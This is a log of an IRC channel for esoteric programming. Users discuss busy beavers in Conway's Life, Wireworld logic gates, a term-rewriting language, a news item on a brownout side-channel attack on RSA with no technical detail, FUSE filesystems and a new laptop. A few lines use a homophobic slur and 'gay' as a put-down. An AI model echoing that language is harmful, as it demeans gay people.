:D I wonder what the life equivalent of busy beaver is < 1267730364 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Video_Life Man. < 1267730389 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: A busy beaver. < 1267730397 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: No, because those don't end up on the "mentions" Twitter API listings. < 1267730398 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :pikhq what the fuck < 1267730399 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Life describes a TC system. < 1267730402 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :are you trolling < 1267730420 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: No, other Life. < 1267730421 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Ah, you're using a clever API. < 1267730435 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :this is like that time when I was wondering how to prove something was undecidible and you said "halting problem" < 1267730446 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :it's suck a fucking awful answer I can't tell if you are trolling or not < 1267730447 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Since they've bothered to provide a nice, RESTful JSON-driven API, I might as well use it. < 1267730463 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I suppose you might. :-) < 1267730515 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: Life is equivalent to a Turing-machine. Thus, the busy beaver analogue is merely an implementation of a busy beaver machine in Life. < 1267730521 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :shut up < 1267730549 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: f(z) = z < 1267730550 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :This map is called the identity map, and is extremely boring. < 1267730567 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :what is life? < 1267730571 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: When you ask a boring question, you get a boring answer. < 1267730580 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Twungot (undocumented, unpretty) code is in fungot's git repository anyhow. < 1267730580 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: what if she is so funny... < 1267730587 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: isn't the identity map pretty interesting? < 1267730591 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i mean, what's the type signature? < 1267730598 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :lament this is from terry tao < 1267730605 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :yeah well he can suck it < 1267730622 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :lament: The B3/S23 2 dimensional cellular automaton. Known to be Turing-complete. < 1267730643 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: great answers to great questions < 1267730663 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :lament: Of course, if you don't grok that, that doesn't help you. But, then, you're here, so. ;) < 1267730680 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :but what's the MEANING of life? < 1267730694 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Beats me. < 1267730700 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :z = f(z) = f(f(z)) = f(f(f(z))) = (the remainder of this sequence has been hashlifed into constant space) < 1267730723 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I guess the other question is, where is Hashlife for Turing Machines? < 1267730760 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :normal turing machines don't have so much redundancy < 1267730768 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :True. < 1267730808 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, Life has all that symmetry. It's pretty bloated that way. < 1267730843 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :So back to my original question, is it impossible (due to parity) to make a transistor that halves a 4-micron current in WireWorld? < 1267730856 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Life needs some spontaneous symmetry breaking. < 1267730864 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I've been trying and I get it either on generation too fast or one too slow. < 1267730882 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Been a lot time since I've WW'ed. From faint echoes of firings of neurons, I would guess, yes, it's impossible. < 1267730897 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Complete guess. < 1267730907 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Seem to remember having similar frustrations. < 1267730912 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Could be completely wrong. < 1267730914 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I think the current has to be of n-micron where n is odd. >:( < 1267730970 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, or it could just be that it's too small of a gap, much like in how 4-micron currents can't go through the smaller logic gates. < 1267730982 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :*properly < 1267731014 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I'll try it with 5-micron. :) < 1267731056 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :the turing machine example that comes with Golly is just one way to make a turing machine < 1267731069 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :and turing machines araen't the only way to impleement N -> N functions in Life < 1267731098 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, yerp. < 1267731107 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :there is a limit on the size that a life pattern can grow, it takes n steps (minimum) to reach n pixels away < 1267731123 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :and finding a configuartion that fills space as fast as possible is trivial < 1267731151 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :but that configuration is not a busy beaver < 1267731160 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :it only computes O(n^2) < 1267731228 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :that's why it's an interesting question and 'shut-up' answers like "just implement it in the turing machine" are not good < 1267731323 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Okay, so you want the non-trivial busy beaver configuration for Life. < 1267731337 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :You should say as much. Otherwise you get simple answers. < 1267731350 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :pikhq it's not my homework < 1267731362 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I just mentioned this because it's interesting < 1267731363 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... < 1267731378 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Did I even claim that? < 1267731390 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I simply gave you a trivial answer to a trivial question. < 1267731444 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1267731654 0 :asiekierka!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1267731960 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Dumb question incoming. < 1267731971 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :ANDNOT=NAND? < 1267732022 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :All Wireworld references I've seen call them ANDNOT gates...why not just NAND? < 1267732105 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"An AND-NOT gate calculates the function ‘A AND NOT B’." -- at least that sort of function is not NAND. < 1267732106 0 :hiato!~fdulu@dsl-245-10-22.telkomadsl.co.za JOIN :#esoteric < 1267732141 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :p and not q != not (p and q) < 1267732142 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :So ANDNOT is not NAND? < 1267732152 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I see. < 1267732238 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, you could implement Hashlife for Langton's Ant. < 1267732243 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :... Hashant. < 1267732251 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I've also noticed that the XOR gates they've described don't have a clock structure to output a 1 when there is not input (i.e. 0 xor 0)...so are they not -true- XOR gates? < 1267732324 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :XOR doesn't need a clock, as long as when both inputs are 0 the output is 1, it should be no problem. < 1267732360 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, the gate isn't 'active', so if there is no input, there is not output. < 1267732383 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Hm, then yes,it is some pseudo-XOR, I'd say. < 1267732388 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Yep. < 1267732421 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :You could construct a 'real' XOR gate with an AND and then NOT structure. < 1267732478 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Uh.. isn't 0 XOR 0 supposed to be 0, anyway? XOR is true for (1, 0) or (0, 1); false for (0, 0) or (1, 1). < 1267732493 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, no. 0 xor 0 is 1. < 1267732506 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That's a very strange sort of exclusive-OR. < 1267732508 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Oh, wait. < 1267732518 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :*facedesk* < 1267732524 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Oh, confusion between XOR and EQU I think. < 1267732527 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I totally don't understand any boolean domain except {0,1} < 1267732531 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :EQU being the inverse of XOR < 1267732543 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Oh, yeah I confused it. < 1267732560 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Again, *facedesk*. Pardon my faggotry. < 1267732884 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :So it turns out, in my experimental term-rewriting language, the terms *being rewritten* may contain variables. This was an accident, and strikes me as somewhat... unwholesome. However, until I understand the implications, I'm hesitant to take it out. < 1267732930 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267732955 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :let (a @x) -> (b @x) in (a 5) ==> (b 5) <-- that's normal (@x denotes a variable.) < 1267733006 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :let (a 5) -> (b @x) in (@x 5) ==> (b a) <-- that's nuts. < 1267733836 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1267733971 0 :Asztal!~asztal@host86-162-149-46.range86-162.btcentralplus.com JOIN :#esoteric < 1267734187 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : horrible music interrupted by "you now have place number 5 in the queue" < 1267734199 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well what were you doing in the queue to HELL anyway < 1267734683 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : alise talks too much. < 1267734710 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oerjan quotes too much < 1267734716 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :after that discussion you and coppro had in the logs, you shouldn't be complaining ;D < 1267734800 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :oklopol doth protest too much. < 1267734802 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: don't worry, that was the last one for now < 1267734894 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i was just hoping you'd quote me and say something witty! < 1267734915 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : oerjan quotes too much <-- no i don't! < 1267734921 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :like that? < 1267734954 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yes, thank you < 1267735075 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :so < 1267735081 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :what discussion did they have? < 1267735150 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :about whether a rotating coordinate frame is as valid as a non-rotating one. it was my fault for bringing it up, actually. < 1267735238 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well if you mention coordinate frames, what can you expect except a flamewar < 1267735256 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :wouldn't a framewar be more likely? < 1267735278 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :must've been a typo < 1267735287 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :how typical < 1267735821 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm, they found a side-channel attack against RSA < 1267735834 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :where you can brownout a system trying to do the calculations and figure out the private keys that way < 1267735850 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :what's brownout? < 1267735919 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :when a system doesn't have enough voltage on the input to operate correctly, but it doesn't have low enough voltage that it turns off altogether < 1267735940 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :some systems have explicit brownout detection circuitry; the rest just malfunction in that situation < 1267735954 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :o_O < 1267736005 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that reminds me of that jvm attack which depends on random faults in memory < 1267736035 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :s/faults/errors/ < 1267736069 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :both seem to depend on a computer's hardware not doing what it should < 1267736072 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :there was a proof a while bag that you could remotely attack (I'm not sure which sort of attack) an RSA system that ran on a processor that did one multiplication incorrectly, FDIV-bug style < 1267736096 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1267736144 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :although brownout sounds like you need physical access < 1267736187 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :or good timing < 1267736194 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :(I hear thunder in the distance) < 1267736203 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :maybe if you control the power plant first < 1267736251 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: on a system with software-controlled overclocking, you can do it by overclocking the processor past its possible range < 1267736264 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ooh < 1267736266 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :well, that either browns out the system or causes it to melt < 1267736283 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :depending on whether the power supply or the heatsinking fails first < 1267736538 0 :pikhq!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267736576 0 :pikhq!~pikhq@75-106-100-139.cust.wildblue.net JOIN :#esoteric < 1267736620 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Why yes, FUSE filesystem, I would absolutely love for you to read the entire contents of that file into memory. < 1267736639 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I of course have enough memory for 12 gigabyte files in RAM. < 1267736659 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I've somehow always felt that side-channel attacks are somehow unfair to poor widdle cryptographers. :/ < 1267736672 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: 12GB of RAM isn't entirely implausible nowadays < 1267736717 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Yes, but reading the entire contents of a 12GB file into memory is pretty dumb. < 1267736726 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it depends on what you're doing < 1267736741 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... Filesystem. < 1267736754 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1267736798 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :FUSE filesystems sometimes are a bit dumb; see, when you put it in userspace, you make it a lot easier to just write a messy filesystem, without having arcane skills; and then people do. < 1267736824 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :So I have discovered. < 1267736844 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :One would hope that at least the widely used ones (sshfs?) would be clever enough not to be stupid, though. < 1267736870 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I was playing with fusecompress. Which apparently sucks for large files. < 1267736895 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It appears to read an entire file into memory when you modify it. < 1267736909 0 :oklokok!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267736953 0 :oklopol!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1267736968 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Well, compression always makes random-access harder. < 1267737030 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes, but there are fairly easy ways to make it not horrifying. < 1267737032 0 :sebbu2!~sebbu@ADijon-152-1-23-95.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1267737048 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Even if you're not going to be clever: split the file into blocks. Compress the blocks seperately. < 1267737062 0 :hiato!unknown@unknown.invalid QUIT :Quit: leaving < 1267737071 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Inefficient, but it's at least not going to swap you to death when you try to modify a file. < 1267737109 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1267737109 0 :sebbu2!unknown@unknown.invalid NICK :sebbu < 1267737117 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I love my magic objects and their magic < 1267737181 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: It should do that already, I think. At least the fusecompress man page options list has: "Block size influences compression ratio. Bigger block size allows better compression ratio, but random access to data will be slower and memory requirements will be bigger." They must have just screwed it up somehow. < 1267737193 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I think "magic" in this context might even be definable: putting together two functionalities which should be separate. < 1267737203 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(Default size is 100 kB.) < 1267737204 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Like, generating a form, and seeing if a form needs to be generated. < 1267737261 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: ... Yeah, probably just screwed it up. < 1267737276 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And I'm not going to look and see how to get it right. < 1267737303 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I'm happy to report that at least dd'ing a 10-byte block at the middle of a three-gigabyte file over sshfs won't cause it to transfer three gigabytes over the network. < 1267737342 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That's because sshfs is somewhat intelligent. < 1267737499 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it lets you read data sanely so you won't suspect its plan to take over the world < 1267737861 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :ok, YouTube comments are driving me mad < 1267737866 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the issue isn't the content, but chronological order < 1267737880 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the /newest/ comments are at the top, except that older comments appear to be written as replies to newer ones < 1267737910 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :which appears to require either a whole load of the IRP-style "hello" "please say 'hello' immediately before this comment", or a deceptive sorting algorithm < 1267737953 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :scarf: time travelers from a future idiocracy? < 1267737955 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :scarf: I have never frickin understood them either. < 1267737969 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :scarf: It's deceptive. Not sure how it works. < 1267737972 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: I like the concept < 1267737989 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I understand that the newest is at the top, but even so, there is always someone who is replying to something I can't see, for whatever reason. < 1267738119 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :further theory: people in Youtube, whenever they see someone's replied to their question, repeat the question < 1267738121 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :for context < 1267740652 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1267741029 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The Youtube comment system is probably designed to allow for stupid people. < 1267741061 0 :oklokok!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267741125 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric : i love augur < 1267741135 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :HAY GAIS < 1267741185 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :OHEY < 1267741248 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267741858 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267741862 0 :tombom_!unknown@unknown.invalid QUIT :Quit: Leaving < 1267741994 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1267742497 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1267742802 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Later < 1267742930 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267743028 0 :alise!~95fed94f@gateway/web/freenode/x-zauxkjcfgdpgvsud JOIN :#esoteric < 1267743045 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I am looking at Windows 7 Home Premium. < 1267743047 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Challenge: Explain this. < 1267743159 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :this isn't your computer < 1267743171 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the fact that you're using a webclient extends that impression < 1267743199 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :alise: you're gay. < 1267743207 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :problem solved < 1267743234 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Gays see Windows 7 in their mind. < 1267743240 0 :alise_!~95fee04d@gateway/web/freenode/x-kzvtpokxaoinldhf JOIN :#esoteric < 1267743242 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Whoopsie, < 1267743244 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hi alise_ < 1267743245 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*. < 1267743255 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :my guess is that you're using a computer other than your own < 1267743287 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :given that it's around 11pm where you live, you can't be at a cybercafe or anything like that < 1267743295 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so you're probably at a friend's or relative's house < 1267743318 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267743326 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :gay lover's < 1267743371 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Incorrect. < 1267743384 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Well, relative's house yes, other person's computer no. < 1267743388 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1267743398 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :new computer, and you haven't installed an OS on it? < 1267743416 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :other possibility's that your computer was dual-boot all along, and you're using the other side for some reason < 1267743432 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I can understand you using win7 deliberately, but home premium would seem unlikely, and this would seem a weird time to experiment < 1267743507 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Home Premium is pretty much the best Windows 7 version, Ultimate just has a few more stuffs < 1267743510 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :New computer, yes, bingo. < 1267743541 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Rationale: Temporary residence as part of homelessness + going around to get things sorted + etc = lugging around an iMac is not ideal. < 1267743558 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you have a laptop, then, probably a netbook < 1267743577 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Not quite a netbook, they all had really ridiculously tiny 9" screens < 1267743584 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :wow, that's small < 1267743591 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :this netbook is about A4, which is still quite small < 1267743591 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :And the 11" laptops cost similar prices to the 13" ones < 1267743595 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So it's just a small laptop < 1267743609 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Apparently it gets 8 hours battery life, so... that would be nice, I guess, though I doubt it's quite that much. < 1267743622 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :mine's advertised as 8, it's around 5 in practice < 1267743629 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :what model is it? < 1267743635 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Toshiba Satellite Tsomething. < 1267743649 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :wow, you may have exactly the same as mine, which is also a toshiba satellite < 1267743662 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :No, you probably have the 11" model. < 1267743665 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Mine's its 13.3" big brother < 1267743672 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :fair enough < 1267743692 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :How are you meant to type without thumbing the trackpad? < 1267743696 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I am rather unexperienced with laptops... < 1267743701 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I can't manage that either < 1267743709 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Neither can I. < 1267743710 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I've just got really experienced at mitigating thumbpad errors < 1267743711 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :It's really annoying. < 1267743728 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you can turn off tap-to-click on the thumbpad if you really care, that prevents thumbing it by mistake doing much < 1267743751 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I just disable the pad entirely < 1267743752 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Yes, but the button isn't the best, I think you'll agree. < 1267743755 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :A bit hard to reach too. < 1267743758 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1267743764 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :my mouse is really unreliable atm < 1267743766 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: No nipple mouse, and using Windows without a mouse is suicidal. < 1267743773 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so I'm using hold-primary-click-for-secondary-click < 1267743786 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :which means I can do pretty much anything with touchpad gestures < 1267743836 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Apparently there's an eco mode which sacrifices performance for battery, which would be totally superfluous if they weren't presumably lying about the 8-hour life in the battery indicator. < 1267743852 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Whoo, it's gone down to 4 hours already :-D < 1267743892 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Why does it randomly decide to spin the fan up for no reason? < 1267743893 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Who knows. < 1267743900 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(Why does it come with so much junk installed? Who knows.) < 1267743900 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : well what were you doing in the queue to HELL anyway <-- the train went to norway by mistake ;P < 1267743925 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise_: oh, it spins up the fan randomly on Windows too? < 1267743944 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it probably does it more often there than here, though < 1267743947 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1267743951 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it's a really quiet fan though < 1267743956 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so i don't really care at all < 1267743957 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it has multiple settings < 1267743963 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it sometimes spins up to quiet for several minutes < 1267743964 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :in fact, it's kind of eerie how quiet it has been < 1267743970 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and sometimes to REALLY LOUD for about ten seconds < 1267743982 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :also, I've christened this machine Dinky < 1267743987 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :why? < 1267743990 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :mine's called desert < 1267743995 0 